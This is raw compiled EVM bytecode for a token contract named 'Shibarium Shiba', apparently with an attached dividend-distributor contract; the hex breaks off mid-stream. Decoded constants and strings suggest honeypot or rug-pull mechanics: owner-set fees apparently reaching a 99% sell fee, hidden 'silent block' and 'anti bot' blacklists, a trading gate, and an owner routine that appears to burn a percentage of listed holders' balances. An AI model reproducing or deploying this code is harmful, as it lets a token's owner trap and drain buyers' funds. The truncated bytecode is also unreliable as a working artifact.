6080604052600280546001600160a01b031990811661dead179091556003805482169055600480548216737a250d5630b4cf539739df2c5dacb4c659f2488d17905560058054909116733dc71a0f8995e8b0e20bdae27948d7e546ca28901790556200006e6012600a62000691565b6200007d90620f4240620006a9565b6006819055686c6b935b8bbd40000060078190556008556009805460ff191660011790556000601181905560026012556003601355605e60145560158190556005601681905560636017558054601880546001600160a01b0319166001600160a01b03909216919091179055601c91909155601d805461010161ffff1990911617905562030d40601e55601f805462ffff001916610100179055610fa0916200012691620006a9565b620001329190620006cb565b6021553480156200014257600080fd5b5060008054336001600160a01b031991821681178355825260016020818152604093849020805460ff191690921790915560048054601980546001600160a01b03909216919094168117909355835163c45a015560e01b81529351929363c45a015593818301939290918290030181865afa158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec9190620006ee565b6001600160a01b031663c9c65396601960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002749190620006ee565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e79190620006ee565b601a80546001600160a01b0319166001600160a01b03928316178155306000908152600b6020908152604080832060198054871685529083528184206000199055935485168352601090915290819020805460ff1916600117905590549051911690620003549062000570565b6001600160a01b039091168152602001604051809103906000f08015801562000381573d6000803e3d6000fd5b50601d805462010000600160b01b031916620100006001600160a01b0393841602179055336000818152600c60209081526040808320805460ff199081166001908117909255308086528386208054831684179055868652600d85528386208054831684179055601a80548916875284872080548416851790555488168652600e8552838620805483168417905595855282852080548216831790559484528184208054861682179055600254861684528184208054861682179055600354909516835290912080549092169092179055601354601254601154620004899362000475929062000501811b6200198517901c565b6200050160201b620019851790919060201c565b601681905550620004ad6014546016546200050160201b620019851790919060201c565b601755600654336000818152600a6020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000734565b60008062000510838562000719565b905083811015620005675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b6110ed806200332a83390190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005d5578160001904821115620005b957620005b96200057e565b80851615620005c757918102915b93841c939080029062000599565b509250929050565b600082620005ee575060016200056a565b81620005fd575060006200056a565b8160018114620006165760028114620006215762000641565b60019150506200056a565b60ff8411156200063557620006356200057e565b50506001821b6200056a565b5060208310610133831016604e8410600b841016171562000666575081810a6200056a565b62000672838362000594565b80600019048211156200068957620006896200057e565b029392505050565b6000620006a260ff841683620005dd565b9392505050565b6000816000190483118215151615620006c657620006c66200057e565b500290565b600082620006e957634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200070157600080fd5b81516001600160a01b03811681146200056757600080fd5b600082198211156200072f576200072f6200057e565b500190565b612be680620007446000396000f3fe6080604052600436106103d25760003560e01c8063807c2d9c116101fd578063c2c7c03a11610118578063e66b1d1e116100ab578063f79641351161007a578063f796413514610bc1578063f887ea4014610be1578063fabe628314610c01578063fe9fbb8014610c21578063ffb54a9914610c4157600080fd5b8063e66b1d1e14610b55578063eac0fc5c14610b75578063f01f20df14610b8b578063f0b37c0414610ba157600080fd5b8063d920334e116100e7578063d920334e14610a9f578063da00097d14610abf578063dd62ed3e14610adf578063e5c85a6a14610b2557600080fd5b8063c2c7c03a14610a29578063ca33e64c14610a49578063ca987b0e14610a69578063d6f5e63914610a7f57600080fd5b8063a9f7864b11610190578063b6a5d7de1161015f578063b6a5d7de146109ad578063bad3ea6a146109cd578063be816ffc146109f3578063bf56b37114610a1357600080fd5b8063a9f7864b1461092d578063ad9ee3911461094d578063b408d4891461096d578063b51368231461098d57600080fd5b806398118cb4116101cc57806398118cb4146108b7578063a3a2e89e146108cd578063a8aa1b31146108ed578063a9059cbb1461090d57600080fd5b8063807c2d9c14610810578063893d20e8146108265780638b42507f1461085857806395d89b411461088857600080fd5b80634355855a116102ed578063650c422611610280578063773fcb5c1161024f578063773fcb5c1461079a57806378051f4d146107ba5780637d1db4a5146107da5780637db1342c146107f057600080fd5b8063650c42261461071857806369cf17d4146107385780636b67c4df1461074e57806370a082311461076457600080fd5b8063479f66d8116102bc578063479f66d8146106895780634838d165146106a95780634a74bb02146106d9578063571ac8b0146106f857600080fd5b80634355855a1461060a578063436b1e641461063a57806344de2e4c1461065a57806344df8e701461067457600080fd5b80631e7b6f47116103655780632f54bf6e116103345780632f54bf6e1461056f578063313ce5671461059e57806334c70889146105ba5780633f4218e0146105da57600080fd5b80631e7b6f471461050457806323b872dd146105245780632b112e49146105445780632bb14e1d1461055957600080fd5b80630ecb93c0116103a15780630ecb93c01461049a57806318160ddd146104ba5780631c56ca7a146104cf5780631df4ccfc146104ee57600080fd5b80630445b667146103de57806306fdde0314610407578063095ea7b3146104485780630d2959801461047857600080fd5b366103d957005b600080fd5b3480156103ea57600080fd5b506103f460215481565b6040519081526020015b60405180910390f35b34801561041357600080fd5b5060408051808201909152600f81526e53686962617269756d20536869626160881b60208201525b6040516103fe919061276b565b34801561045457600080fd5b506104686104633660046127b3565b610c5b565b60405190151581526020016103fe565b34801561048457600080fd5b506104986104933660046127f4565b610cc8565b005b3480156104a657600080fd5b506104986104b536600461280f565b610d1c565b3480156104c657600080fd5b506006546103f4565b3480156104db57600080fd5b50601d5461046890610100900460ff1681565b3480156104fa57600080fd5b506103f460165481565b34801561051057600080fd5b5061049861051f36600461280f565b610d65565b34801561053057600080fd5b5061046861053f36600461282c565b610e37565b34801561055057600080fd5b506103f4610ef9565b34801561056557600080fd5b506103f460125481565b34801561057b57600080fd5b5061046861058a36600461280f565b6000546001600160a01b0391821691161490565b3480156105aa57600080fd5b50604051601281526020016103fe565b3480156105c657600080fd5b506104986105d536600461286d565b610f4b565b3480156105e657600080fd5b506104686105f536600461280f565b600c6020526000908152604090205460ff1681565b34801561061657600080fd5b5061046861062536600461280f565b600e6020526000908152604090205460ff1681565b34801561064657600080fd5b5061049861065536600461280f565b610fa6565b34801561066657600080fd5b506009546104689060ff1681565b34801561068057600080fd5b50610498610fef565b34801561069557600080fd5b506104986106a43660046128a9565b6110c5565b3480156106b557600080fd5b506104686106c436600461280f565b600f6020526000908152604090205460ff1681565b3480156106e557600080fd5b50601f5461046890610100900460ff1681565b34801561070457600080fd5b5061046861071336600461280f565b6110fe565b34801561072457600080fd5b506104986107333660046128c2565b61110c565b34801561074457600080fd5b506103f460145481565b34801561075a57600080fd5b506103f460135481565b34801561077057600080fd5b506103f461077f36600461280f565b6001600160a01b03166000908152600a602052604090205490565b3480156107a657600080fd5b506104986107b53660046128f4565b61116a565b3480156107c657600080fd5b506104986107d536600461280f565b6112b1565b3480156107e657600080fd5b506103f460075481565b3480156107fc57600080fd5b5061049861080b3660046128a9565b611347565b34801561081c57600080fd5b506103f460085481565b34801561083257600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016103fe565b34801561086457600080fd5b5061046861087336600461280f565b600d6020526000908152604090205460ff1681565b34801561089457600080fd5b5060408051808201909152600681526529a424a120a960d11b602082015261043b565b3480156108c357600080fd5b506103f460115481565b3480156108d957600080fd5b506104986108e83660046128f4565b611371565b3480156108f957600080fd5b50601a54610840906001600160a01b031681565b34801561091957600080fd5b506104686109283660046127b3565b6113c1565b34801561093957600080fd5b50610498610948366004612929565b6113ce565b34801561095957600080fd5b5061049861096836600461280f565b611430565b34801561097957600080fd5b506104986109883660046128a9565b611476565b34801561099957600080fd5b506104986109a836600461280f565b6114a0565b3480156109b957600080fd5b506104986109c836600461280f565b6114e6565b3480156109d957600080fd5b50601d54610840906201000090046001600160a01b031681565b3480156109ff57600080fd5b50610498610a0e36600461294b565b611537565b348015610a1f57600080fd5b506103f4601b5481565b348015610a3557600080fd5b50610498610a443660046127f4565b61169f565b348015610a5557600080fd5b50601854610840906001600160a01b031681565b348015610a7557600080fd5b506103f460175481565b348015610a8b57600080fd5b50610498610a9a36600461280f565b6116de565b348015610aab57600080fd5b50610498610aba3660046128a9565b611823565b348015610acb57600080fd5b50601f546104689062010000900460ff1681565b348015610aeb57600080fd5b506103f4610afa36600461294b565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b348015610b3157600080fd5b50610468610b4036600461280f565b60106020526000908152604090205460ff1681565b348015610b6157600080fd5b50610498610b703660046127f4565b61184d565b348015610b8157600080fd5b506103f4601c5481565b348015610b9757600080fd5b506103f460155481565b348015610bad57600080fd5b50610498610bbc36600461280f565b611885565b348015610bcd57600080fd5b50610498610bdc36600461280f565b6118d0565b348015610bed57600080fd5b50601954610840906001600160a01b031681565b348015610c0d57600080fd5b50610498610c1c3660046128f4565b611917565b348015610c2d57600080fd5b50610468610c3c36600461280f565b611967565b348015610c4d57600080fd5b50601d546104689060ff1681565b336000818152600b602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610cb69086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610cfb5760405162461bcd60e51b8152600401610cf290612984565b60405180910390fd5b601d805460ff191682151590811790915560ff1615610d195743601b555b50565b610d2533611967565b610d415760405162461bcd60e51b8152600401610cf2906129a4565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b03163314610d8f5760405162461bcd60e51b8152600401610cf290612984565b610d98816119e4565b15610de55760405162461bcd60e51b815260206004820152601e60248201527f596f7520616c72656164792061646465642074686973206164647265737300006044820152606401610cf2565b602080546001810182556000919091527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166000908152600b6020908152604080832033845290915281205460001914610ee4576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600b82528381203382529091529190912054610ebf918490611a4d565b6001600160a01b0385166000908152600b602090815260408083203384529091529020555b610eef848484611a87565b90505b9392505050565b6003546001600160a01b03166000908152600a6020526040812054610f46906002546001600160a01b03166000908152600a6020526040902054610f409060065490611f52565b90611f52565b905090565b610f5433611967565b610f705760405162461bcd60e51b8152600401610cf2906129a4565b601f8054602193909355901515620100000262ff000019931515610100029390931662ffff001990921691909117919091179055565b610faf33611967565b610fcb5760405162461bcd60e51b8152600401610cf2906129a4565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b031633146110195760405162461bcd60e51b8152600401610cf290612984565b60005b602054811015610d195760006110636020838154811061103e5761103e6129c9565b60009182526020808320909101546001600160a01b03168252600a9052604090205490565b90506110b26020838154811061107b5761107b6129c9565b6000918252602090912001546015546001600160a01b03909116906064906110a390856129f5565b6110ad9190612a14565b611f94565b50806110bd81612a36565b91505061101c565b6110ce33611967565b6110ea5760405162461bcd60e51b8152600401610cf2906129a4565b620b71b081106110f957600080fd5b601e55565b6000610cc282600019610c5b565b61111533611967565b6111315760405162461bcd60e51b8152600401610cf2906129a4565b601184905560128390556013829055601481905561114f8484611985565b60168190556014546111619190611985565b60175550505050565b61117333611967565b61118f5760405162461bcd60e51b8152600401610cf2906129a4565b6001600160a01b03821630148015906111b65750601a546001600160a01b03838116911614155b6111bf57600080fd5b6001600160a01b0382166000908152600e60205260409020805460ff1916821580159190911790915561125e57601d54604051630a5b654b60e11b81526001600160a01b0384811660048301526000602483015262010000909204909116906314b6ca96906044015b600060405180830381600087803b15801561124257600080fd5b505af1158015611256573d6000803e3d6000fd5b505050505050565b601d546001600160a01b038381166000818152600a602052604090819020549051630a5b654b60e11b8152600481019290925260248201526201000090920416906314b6ca9690604401611228565b5050565b6000546001600160a01b031633146112db5760405162461bcd60e51b8152600401610cf290612984565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b61135033611967565b61136c5760405162461bcd60e51b8152600401610cf2906129a4565b600855565b61137a33611967565b6113965760405162461bcd60e51b8152600401610cf2906129a4565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000610ef2338484611a87565b6113d733611967565b6113f35760405162461bcd60e51b8152600401610cf2906129a4565b601d546040516316a4744b60e11b81526004810184905260248101839052620100009091046001600160a01b031690632d48e89690604401611228565b61143933611967565b6114555760405162461bcd60e51b8152600401610cf2906129a4565b6001600160a01b03166000908152601060205260409020805460ff19169055565b61147f33611967565b61149b5760405162461bcd60e51b8152600401610cf2906129a4565b601c55565b6114a933611967565b6114c55760405162461bcd60e51b8152600401610cf2906129a4565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b031633146115105760405162461bcd60e51b8152600401610cf290612984565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b601d54610100900460ff1661154a575050565b60006001600160a01b038316301480159061157357506004546001600160a01b03848116911614155b801561157f5750823b15155b80156115a357506001600160a01b03821660009081526010602052604090205460ff165b6001600160a01b0384166000908152600f60205260408120549192509060ff16806115e657506001600160a01b0383166000908152600f602052604090205460ff165b9050811580156115f4575080155b61162b5760405162461bcd60e51b8152602060048201526008602482015267185b9d1a48189bdd60c21b6044820152606401610cf2565b6001600160a01b03831660009081526010602052604090205460ff161561169957601c54601b5461165c9190612a51565b43116116995760405162461bcd60e51b815260206004820152600c60248201526b73696c656e7420626c6f636b60a01b6044820152606401610cf2565b50505050565b6116a833611967565b6116c45760405162461bcd60e51b8152600401610cf2906129a4565b601d80549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146117085760405162461bcd60e51b8152600401610cf290612984565b60005b6020548110156117e357816001600160a01b031660208281548110611732576117326129c9565b6000918252602090912001546001600160a01b031614156117d1576020805461175d90600190612a69565b8154811061176d5761176d6129c9565b9060005260206000200160009054906101000a90046001600160a01b03166020828154811061179e5761179e6129c9565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506117e3565b806117db81612a36565b91505061170b565b60205481146112ad5760208054806117fd576117fd612a80565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b61182c33611967565b6118485760405162461bcd60e51b8152600401610cf2906129a4565b600755565b61185633611967565b6118725760405162461bcd60e51b8152600401610cf2906129a4565b6009805460ff1916911515919091179055565b6000546001600160a01b031633146118af5760405162461bcd60e51b8152600401610cf290612984565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6118d933611967565b6118f55760405162461bcd60e51b8152600401610cf2906129a4565b601880546001600160a01b0319166001600160a01b0392909216919091179055565b61192033611967565b61193c5760405162461bcd60e51b8152600401610cf2906129a4565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526001602052604090205460ff1690565b6000806119928385612a51565b905083811015610ef25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610cf2565b600080805b602054811015611a4657836001600160a01b031660208281548110611a1057611a106129c9565b6000918252602090912001546001600160a01b03161415611a345760019150611a46565b80611a3e81612a36565b9150506119e9565b5092915050565b60008184841115611a715760405162461bcd60e51b8152600401610cf2919061276b565b506000611a7e8486612a69565b95945050505050565b6001600160a01b0383166000908152600a6020526040812054611aa957600080fd5b611ab38484611537565b601f5460ff1615611ad057611ac984848461208d565b9050610ef2565b6001600160a01b03841660009081526001602052604090205460ff16158015611b1257506001600160a01b03831660009081526001602052604090205460ff16155b15611b6057601d5460ff16611b605760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610cf2565b60075482111580611b8957506001600160a01b0384166000908152600d602052604090205460ff165b611bc95760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610cf2565b601a546001600160a01b03163314801590611be75750601f5460ff16155b8015611bfa5750601f54610100900460ff165b8015611c175750602154306000908152600a602052604090205410155b15611c2457611c24612161565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600a9091529190912054611c76918490611a4d565b6001600160a01b038086166000908152600a60209081526040808320949094559186168152600d909152205460ff16158015611cb4575060095460ff165b15611cea576008546001600160a01b0384166000908152600a6020526040902054611cdf9084611985565b1115611cea57600080fd5b6001600160a01b0384166000908152600c602052604081205460ff16158015611d2c57506001600160a01b0384166000908152600c602052604090205460ff16155b611d365782611d41565b611d418585856124d1565b6001600160a01b0385166000908152600a6020526040902054909150611d679082611985565b6001600160a01b038086166000908152600a60209081526040808320949094559188168152600e909152205460ff16611e1157601d546001600160a01b038681166000818152600a602052604090819020549051630a5b654b60e11b8152600481019290925260248201526201000090920416906314b6ca9690604401600060405180830381600087803b158015611dfe57600080fd5b505af1925050508015611e0f575060015b505b6001600160a01b0384166000908152600e602052604090205460ff16611ea857601d546001600160a01b038581166000818152600a602052604090819020549051630a5b654b60e11b8152600481019290925260248201526201000090920416906314b6ca9690604401600060405180830381600087803b158015611e9557600080fd5b505af1925050508015611ea6575060015b505b601d54601e546040516001624d3b8760e01b031981526004810191909152620100009091046001600160a01b03169063ffb2c47990602401600060405180830381600087803b158015611efa57600080fd5b505af1925050508015611f0b575060015b50836001600160a01b0316856001600160a01b0316600080516020612b6f83398151915283604051611f3f91815260200190565b60405180910390a3506001949350505050565b6000610ef283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a4d565b6001600160a01b038216611ff45760405162461bcd60e51b815260206004820152602160248201527f42455032303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610cf2565b61203181604051806060016040528060228152602001612b8f602291396001600160a01b0385166000908152600a60205260409020549190611a4d565b6001600160a01b0383166000908152600a60205260409020556006546120579082611f52565b6006556040518181526000906001600160a01b03841690600080516020612b6f8339815191529060200160405180910390a35050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600a909152918220546120de918490611a4d565b6001600160a01b038086166000908152600a6020526040808220939093559085168152205461210d9083611985565b6001600160a01b038085166000818152600a60205260409081902093909355915190861690600080516020612b6f8339815191529061214f9086815260200190565b60405180910390a35060019392505050565b601f805460ff19166001179055306000908152600a60205260408120546016546011549192916121a29160029161219c919082908790612582565b90612601565b905060006121b08383611f52565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106121ea576121ea6129c9565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612243573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122679190612a96565b8160018151811061227a5761227a6129c9565b6001600160a01b03928316602091820292909201015260195460405163791ac94760e01b815291169063791ac947906122c0908590600090869030904290600401612ab3565b600060405180830381600087803b1580156122da57600080fd5b505af11580156122ee573d6000803e3d6000fd5b50506011544792506000915061231290612309906002612601565b60165490611f52565b90506000612334600261219c8461219c6011548861258290919063ffffffff16565b905060006123518361219c6012548761258290919063ffffffff16565b9050600061236383610f408785611f52565b9050601d60029054906101000a90046001600160a01b03166001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b1580156123b557600080fd5b505af1935050505080156123c7575060015b5087156124a05760195460185460405163f305d71960e01b8152306004820152602481018b905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af115801561243e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124639190612b24565b505060408051858152602081018b90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b80156124bc576005546124bc906001600160a01b031682612643565b5050601f805460ff1916905550505050505050565b601a5460009081906001600160a01b038581169116146124f3576016546124f7565b6017545b9050600061250a606461219c8685612582565b306000908152600a60205260409020549091506125279082611985565b306000818152600a6020526040908190209290925590516001600160a01b03881690600080516020612b6f833981519152906125669085815260200190565b60405180910390a36125788482611f52565b9695505050505050565b60008261259157506000610cc2565b600061259d83856129f5565b9050826125aa8583612a14565b14610ef25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610cf2565b6000610ef283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612711565b604080516000808252602082019092526001600160a01b03841690839060405161266d9190612b52565b60006040518083038185875af1925050503d80600081146126aa576040519150601f19603f3d011682016040523d82523d6000602084013e6126af565b606091505b505090508061270c5760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960448201526213115160ea1b6064820152608401610cf2565b505050565b600081836127325760405162461bcd60e51b8152600401610cf2919061276b565b506000611a7e8486612a14565b60005b8381101561275a578181015183820152602001612742565b838111156116995750506000910152565b602081526000825180602084015261278a81604085016020870161273f565b601f01601f19169190910160400192915050565b6001600160a01b0381168114610d1957600080fd5b600080604083850312156127c657600080fd5b82356127d18161279e565b946020939093013593505050565b803580151581146127ef57600080fd5b919050565b60006020828403121561280657600080fd5b610ef2826127df565b60006020828403121561282157600080fd5b8135610ef28161279e565b60008060006060848603121561284157600080fd5b833561284c8161279e565b9250602084013561285c8161279e565b929592945050506040919091013590565b60008060006060848603121561288257600080fd5b61288b846127df565b9250602084013591506128a0604085016127df565b90509250925092565b6000602082840312156128bb57600080fd5b5035919050565b600080600080608085870312156128d857600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561290757600080fd5b82356129128161279e565b9150612920602084016127df565b90509250929050565b6000806040838503121561293c57600080fd5b50508035926020909101359150565b6000806040838503121561295e57600080fd5b82356129698161279e565b915060208301356129798161279e565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612a0f57612a0f6129df565b500290565b600082612a3157634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415612a4a57612a4a6129df565b5060010190565b60008219821115612a6457612a646129df565b500190565b600082821015612a7b57612a7b6129df565b500390565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612aa857600080fd5b8151610ef28161279e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b035784516001600160a01b031683529383019391830191600101612ade565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612b3957600080fd5b8351925060208401519150604084015190509250925092565b60008251612b6481846020870161273f565b919091019291505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef42455032303a206275726e20616d6f756e7420657863656564732062616c616e6365a26469706673582212202473e1b89b46b27955b9a51971a6cf4d2f9e25a6c07a22ba1a1c7a02c90968ba64736f6c634300080a00336080604052600280546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d179091556003805490911673c5fb36dd2fb59d3b98deff88425a3f425ee469ed1790556ec097ce7bc90715b34b9f1000000000600c55610708600d55670de0b6b3a7640000600e5534801561007d57600080fd5b506040516110ed3803806110ed83398101604081905261009c916100ed565b6001600160a01b0381166100bb576002546001600160a01b03166100bd565b805b600180546001600160a01b03929092166001600160a01b031992831617905560008054909116331790555061011d565b6000602082840312156100ff57600080fd5b81516001600160a01b038116811461011657600080fd5b9392505050565b610fc18061012c6000396000f3fe6080604052600436106100dd5760003560e01c8063ce7c2ac21161007f578063efca2eed11610059578063efca2eed14610224578063f0fc6bca1461023a578063ffb2c4791461024f578063ffd49c841461026f57600080fd5b8063ce7c2ac2146101af578063d0e30db014610206578063e2d2e2191461020e57600080fd5b80632d48e896116100bb5780632d48e8961461014d5780633a98ef391461016d5780634fab0ae814610183578063997664d71461019957600080fd5b806311ce023d146100e257806314b6ca961461010b57806328fd31981461012d575b600080fd5b3480156100ee57600080fd5b506100f8600c5481565b6040519081526020015b60405180910390f35b34801561011757600080fd5b5061012b610126366004610d23565b610285565b005b34801561013957600080fd5b506100f8610148366004610d4f565b6103fd565b34801561015957600080fd5b5061012b610168366004610d6c565b610486565b34801561017957600080fd5b506100f860085481565b34801561018f57600080fd5b506100f8600e5481565b3480156101a557600080fd5b506100f860095481565b3480156101bb57600080fd5b506101eb6101ca366004610d4f565b60076020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610102565b61012b6104a8565b34801561021a57600080fd5b506100f8600b5481565b34801561023057600080fd5b506100f8600a5481565b34801561024657600080fd5b5061012b610738565b34801561025b57600080fd5b5061012b61026a366004610d8e565b6107a7565b34801561027b57600080fd5b506100f8600d5481565b6000546001600160a01b0316331461029c57600080fd5b6001600160a01b038216600090815260076020526040902054156102c3576102c3826108a8565b6000811180156102e957506001600160a01b038216600090815260076020526040902054155b1561034f57600480546001600160a01b0384166000818152600560205260408120839055600183018455929092527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319169091179055610382565b8015801561037457506001600160a01b03821660009081526007602052604090205415155b1561038257610382826109c4565b6001600160a01b0382166000908152600760205260409020546008546103b39183916103ad91610ad9565b90610b24565b6008556001600160a01b03821660009081526007602052604090208190556103da81610b83565b6001600160a01b0390921660009081526007602052604090206001019190915550565b6001600160a01b03811660009081526007602052604081205461042257506000919050565b6001600160a01b03821660009081526007602052604081205461044490610b83565b6001600160a01b038416600090815260076020526040902060010154909150808211610474575060009392505050565b61047e8282610ad9565b949350505050565b6000546001600160a01b0316331461049d57600080fd5b600d91909155600e55565b6000546001600160a01b031633146104bf57600080fd5b6003546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610508573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052c9190610da7565b60408051600280825260608201835292935060009290916020830190803683375050600154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561059b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105bf9190610dc0565b816000815181106105d2576105d2610ddd565b6001600160a01b03928316602091820292909201015260035482519116908290600190811061060357610603610ddd565b6001600160a01b03928316602091820292909201015260015460405163b6f9de9560e01b815291169063b6f9de9590349061064990600090869030904290600401610df3565b6000604051808303818588803b15801561066257600080fd5b505af1158015610676573d6000803e3d6000fd5b50506003546040516370a0823160e01b8152306004820152600094506106f693508692506001600160a01b03909116906370a0823190602401602060405180830381865afa1580156106cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f09190610da7565b90610ad9565b6009549091506107069082610b24565b600955600854600c5461073091610727916107219085610ba0565b90610c1f565b600b5490610b24565b600b55505050565b61074133610c61565b61079c5760405162461bcd60e51b815260206004820152602160248201527f546f6f20717569636b2e20506c65617365207761697420666f722061206269746044820152602160f81b60648201526084015b60405180910390fd5b6107a5336108a8565b565b6000546001600160a01b031633146107be57600080fd5b600454806107ca575050565b60008060005a90505b84821080156107e157508383105b156108a05783600f54106107f5576000600f555b6108276004600f548154811061080d5761080d610ddd565b6000918252602090912001546001600160a01b0316610c61565b1561085e5761085e6004600f548154811061084457610844610ddd565b6000918252602090912001546001600160a01b03166108a8565b61087361086c5a8390610ad9565b8390610b24565b91505a600f8054919250600061088883610e73565b9190505550828061089890610e73565b9350506107d3565b505050505b50565b6001600160a01b0381166000908152600760205260409020546108c85750565b60006108d3826103fd565b905080156109c057600a546108e89082610b24565b600a5560035460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af115801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190610e8e565b506001600160a01b038216600090815260066020908152604080832042905560079091529020600201546109969082610b24565b6001600160a01b03831660009081526007602052604090206002810191909155546103da90610b83565b5050565b600480546109d490600190610eb0565b815481106109e4576109e4610ddd565b60009182526020808320909101546001600160a01b0384811684526005909252604090922054600480549290931692918110610a2257610a22610ddd565b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055918316815260059182905260408120546004805491939291610a6e90600190610eb0565b81548110610a7e57610a7e610ddd565b60009182526020808320909101546001600160a01b031683528201929092526040019020556004805480610ab457610ab4610ec7565b600082815260209020810160001990810180546001600160a01b031916905501905550565b6000610b1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ca6565b90505b92915050565b600080610b318385610edd565b905083811015610b1b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610793565b6000610b1e600c54610721600b5485610ba090919063ffffffff16565b600082610baf57506000610b1e565b6000610bbb8385610ef5565b905082610bc88583610f14565b14610b1b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610793565b6000610b1b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ce0565b600d546001600160a01b03821660009081526006602052604081205490914291610c8b9190610edd565b108015610b1e5750600e54610c9f836103fd565b1192915050565b60008184841115610cca5760405162461bcd60e51b81526004016107939190610f36565b506000610cd78486610eb0565b95945050505050565b60008183610d015760405162461bcd60e51b81526004016107939190610f36565b506000610cd78486610f14565b6001600160a01b03811681146108a557600080fd5b60008060408385031215610d3657600080fd5b8235610d4181610d0e565b946020939093013593505050565b600060208284031215610d6157600080fd5b8135610b1b81610d0e565b60008060408385031215610d7f57600080fd5b50508035926020909101359150565b600060208284031215610da057600080fd5b5035919050565b600060208284031215610db957600080fd5b5051919050565b600060208284031215610dd257600080fd5b8151610b1b81610d0e565b634e487b7160e01b600052603260045260246